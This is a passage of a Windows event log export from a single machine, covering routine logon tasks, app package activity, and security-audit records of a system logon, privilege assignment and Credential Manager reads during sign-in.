131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62170\tLogon task 'UpdatePCSettingsPreStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62171\tLogon task 'UpdatePCSettingsPreStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62170\tLogon task 'EnterpriseProvisioning' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62171\tLogon task 'EnterpriseProvisioning' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62170\tLogon task 'AssignedAccessLogonTaskAgentPreStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62170\tLogon task 'WSXRegistryInitPreStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62171\tLogon task 'WSXRegistryInitPreStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62170\tLogon task 'ConfigureA9InstallOptionalComponent' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.921\t1282\tThe TBS device identifier has been generated.\tInformation\tSystem\tMicrosoft-Windows-TPM-WMI\n05.09.2026 08:29:02.926\t62171\tLogon task 'ConfigureA9InstallOptionalComponent' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.926\t62170\tLogon task 'PerUserSetup' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.926\t62170\tLogon task 'RemoveC2DShortcut' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.926\t62171\tLogon task 'RemoveC2DShortcut' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.930\t360\t\"Windows Hello for Business provisioning will not be launched. \nDevice is Microsoft Entra joined (or hybrid joined): Not Tested \nUser has logged on with Microsoft Entra credentials: No \nWindows Hello for Business policy is enabled: Not Tested \nWindows Hello for Business post-logon provisioning is enabled: Not Tested \nLocal computer meets Windows hello for business hardware requirements: Not Tested \nUser is not connected to the machine via Remote Desktop: Yes \nUser certificate for on premise auth policy is enabled: Not Tested \nMachine is governed by none policy. \nCloud trust for on premise auth policy is enabled: Not Tested \nUser account has Cloud to OnPrem TGT: Not Tested \nSee https://go.microsoft.com/fwlink/?linkid=832647 for more details.\"\tWarning\tMicrosoft-Windows-User Device Registration/Admin\tMicrosoft-Windows-User Device Registration\n05.09.2026 08:29:02.972\t62171\tLogon task 'StartLayoutInit' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.107\t8001\t\"Skipping license manager: PFN MicrosoftWindows.Client.WebExperience_526.17301.40.0_x64__cw5n1h2txyewy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:03.152\t210\tCreated Desktop AppX container {245CDB0F-A8C9-11F1-B7FF-289200F24A99} for package MicrosoftWindows.Client.WebExperience_526.17301.40.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:03.152\t211\tAdded process 11012 to Desktop AppX container 245cdb0f-a8c9-11f1-b7ff-289200f24a99 for package MicrosoftWindows.Client.WebExperience_526.17301.40.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:03.255\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.267\t8100\tStarting validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:03.269\t8106\tPackage Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe has Trust Label already. Flags: 0x103\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:03.269\t8101\tFinished validation and setting the Trust Label on package Microsoft.WidgetsPlatformRuntime_1.6.19.0_x64__8wekyb3d8bbwe with flags 0x103.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:03.327\t16\tCounter 11 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:03.327\t16\tCounter 6 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:03.327\t16\tCounter 11 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:03.327\t16\tCounter 6 of instance ({00000000-0000-0000-0000-000000000000}, NULL, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:03.329\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.329\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.331\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.336\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.362\t3\tInstance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, WMIProv, 0) could not be created. Error: \"Cannot create a file when that file already exists.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:29:03.388\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.389\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.389\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.398\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.398\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.398\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.400\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.400\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.400\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.570\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.577\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.601\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.618\t5379\t\"Credential Manager credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\tRead Operation:\t\tEnumerate Credentials\n\nThis event occurs when a user performs a read operation on stored credentials in Credential Manager.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:03.726\t1002\tError 0x80070005 occurred while verifying known folder {62ab5d82-fdc1-4dc3-a9dd-070d1d495d97} with path 'C:\\ProgramData'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:29:03.745\t62171\tLogon task 'LaunchExperienceHost' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.745\t62171\tLogon task 'AssignedAccessLogonTaskAgentPreStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.745\t62171\tLogon task 'PerformSignInSuggestions' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.746\t62171\tLogon task 'PerUserSetup' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.746\t62171\tLogon task 'PreStartTasks' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.750\t62171\tLogon task 'AllLogonTasks' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'PostStartTasks' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'PerUserSetupPostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62171\tLogon task 'PerUserSetupPostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'LaunchExperienceHostPostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62171\tLogon task 'LaunchExperienceHostPostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'LaunchPeopleExperiencePostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'LaunchLockAppHostPostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62171\tLogon task 'LaunchLockAppHostPostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'AssignedAccessAutoLaunch' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'AppReadinessNotifyLogonComplete' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'LaunchInputDialListenerPostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62171\tLogon task 'LaunchPeopleExperiencePostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62171\tLogon task 'AppReadinessNotifyLogonComplete' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'NotifyTrayStartIsReady' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'FixUserTileStoreCorruption' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62170\tLogon task 'OEMFirstRunTelemetry' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62171\tLogon task 'NotifyTrayStartIsReady' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.751\t62171\tLogon task 'OEMFirstRunTelemetry' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t9652\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t62170\tLogon task 'StartSkydriveSync' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t62171\tLogon task 'FixUserTileStoreCorruption' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t62170\tLogon task 'ResumeAppRestore' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t62171\tLogon task 'ResumeAppRestore' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t62170\tLogon task 'PrepareSettingSearch' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t62171\tLogon task 'PrepareSettingSearch' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.752\t62170\tLogon task 'CommercialHomePageSetup' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.753\t62171\tLogon task 'PostStartTasks' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.753\t62171\tLogon task 'CommercialHomePageSetup' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.753\t62170\tLogon task 'RemoveTempOOBEUser' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.753\t62171\tLogon task 'RemoveTempOOBEUser' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.753\t62170\tLogon task 'InitializeBrowserSsoCookie' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62171\tLogon task 'InitializeBrowserSsoCookie' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62170\tLogon task 'CreateEdgeIconIfNeededPostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62170\tLogon task 'CreateYourPhoneShortcutsIfNeededPostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62171\tLogon task 'CreateYourPhoneShortcutsIfNeededPostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62170\tLogon task 'LaunchLockScreenCacheImageRestorePostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62171\tLogon task 'LaunchLockScreenCacheImageRestorePostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62171\tLogon task 'CreateEdgeIconIfNeededPostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62170\tLogon task 'LaunchExplorerDestListMigrationPostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62171\tLogon task 'LaunchExplorerDestListMigrationPostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62170\tLogon task 'LaunchCustomShell' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62170\tLogon task 'FamilySync' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.754\t62171\tLogon task 'FamilySync' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t62170\tLogon task 'FamilyMembersNotification' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t9653\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t9652\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t62171\tLogon task 'FamilyMembersNotification' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t62170\tLogon task 'CloudDataRestore' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t62170\tLogon task 'CDSDataMigration' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t62170\tLogon task 'LaunchExplorerNamespaceRestrictionPostStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t62171\tLogon task 'StartSkydriveSync' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.755\t62170\tLogon task 'CloudDataUpdateProfileName' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.756\t62170\tLogon task 'WSXRegistryInit' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.756\t9652\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.756\t62171\tLogon task 'LaunchExplorerNamespaceRestrictionPostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.757\t9652\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.757\t62171\tLogon task 'WSXRegistryInit' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.758\t62171\tLogon task 'LaunchCustomShell' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.759\t62171\tLogon task 'AssignedAccessAutoLaunch' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.761\t76\tError: ClassFactory cannot supply requested class; See event details for more information.\tError\tMicrosoft-Windows-CloudRestoreLauncher/Operational\tMicrosoft-Windows-CloudRestoreLauncher\n05.09.2026 08:29:03.762\t76\tError: ClassFactory cannot supply requested class; See event details for more information.\tError\tMicrosoft-Windows-CloudRestoreLauncher/Operational\tMicrosoft-Windows-CloudRestoreLauncher\n05.09.2026 08:29:03.762\t62171\tLogon task 'CDSDataMigration' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.766\t62171\tLogon task 'LaunchInputDialListenerPostStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.767\t2413\tAn application was registered with the following parameters: System [PackageFullName] Windows.SystemToast.WindowsTip [AppUserModelId] 0x24FF [Settings] 1073741824 [AppType] The operation completed successfully. [ErrorCode].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:03.772\t62171\tLogon task 'CloudDataRestore' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:03.776\t8001\t\"Skipping license manager: PFN Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp 